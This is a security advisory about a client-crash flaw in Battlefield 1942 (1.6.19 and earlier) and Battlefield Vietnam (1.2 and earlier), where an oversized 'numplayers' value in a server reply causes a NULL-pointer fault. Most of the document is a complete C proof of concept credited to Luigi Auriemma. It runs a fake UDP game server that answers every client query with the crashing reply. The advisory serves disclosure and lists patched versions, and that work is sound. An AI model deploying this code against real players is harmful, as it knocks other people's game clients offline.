|
|
|
|
| |
Battlefield 1942 and Vietnam are two of the most known and played FPS games based on the relative military conflicts. They are developed by Digital Illusions and have been released respectively at September 2002 and March 2004.
A vulnerability in the way Battlefield 1942 and Vietnam parsers incoming data allows an attacker to cause the program to crash. |
| |
Credit:
The information has been provided by Luigi Auriemma.
|
| |
Vulnerable Systems:
* Battlefield 1942 versions 1.6.19 and prior
* Battlefield Vietnam versions 1.2 and prior
Immune Systems:
* Battlefield 1924 version 1.6.1b
* Battlefield Vietnam version 1.21b
Just like any other multiplayer server, Battlefield contacts a master server and queries it in order to discover the existence of other game servers. The client then queries each of the game servers for information about games which is displayed in the in-game display browser.
A problem exists while parsing replies from game servers. When a very large number of players ("numplayers" parameter) is reported to the client, by a server, the client freezes completely and a few seconds later will generate a fault due to an access to a NULL pointer.
This is a passive broadcast attack in which an attacker is able to crash any client if the attacker is visible on the game server.
A proof of concept code for this Denial Of Service vulnerability is listed below.
Proof Of Concept
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define BOOMPLAYERS 2147483647 /* BUG */
#define BOOM "\\gamename\\%s" \
"\\gamever\\1.6" \
"\\location\\0" \
"\\hostname\\crash" \
"\\hostport\\%d" \
"\\mapname\\aberdeen" \
"\\numplayers\\%u" \
"\\maxplayers\\%u" /* not needed to be the same value */ \
"\\final\\" \
"\\queryid\\1.1"
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
pcklen,
on = 1,
psz;
u_short port;
u_char buff[BUFFSZ + 1],
pck[BUFFSZ + 1];
setbuf(stdout, NULL);
fputs("\n"
"Battlefield broadcast client crash "VER"\n"
" 1942 <= 1.6.19 and Vietnam <= 1.2\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <game> <port>\n"
"\n"
"Game:\n"
" bfvietnam = Battlefield Vietnam\n"
" bfield1942 = Battlefield 1942\n"
" bfield1942sw = Battlefield 1942: Secret Weapons of WW2\n"
" bfield1942rtr = Battlefield 1942: Road to Rome\n"
" bfield1942swd = Battlefield 1942: Secret Weapons of WW2 Demo\n"
" bfield1942d = Battlefield 1942 Demo\n"
"\n"
"Port:\n"
" 23000 = default Internet port\n"
" 22000 = default LAN port\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
port = atoi(argv[2]);
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
pcklen = snprintf(
pck,
BUFFSZ,
BOOM,
argv[1],
port,
BOOMPLAYERS,
BOOMPLAYERS);
if((pcklen < 0) || (pcklen > BUFFSZ)) exit(1);
fputs("Clients:\n", stdout);
for(;;) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) continue;
buff[len] = 0x00;
printf("%16s:%5hu %s\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port),
buff);
if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}
close(sd);
return(0);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|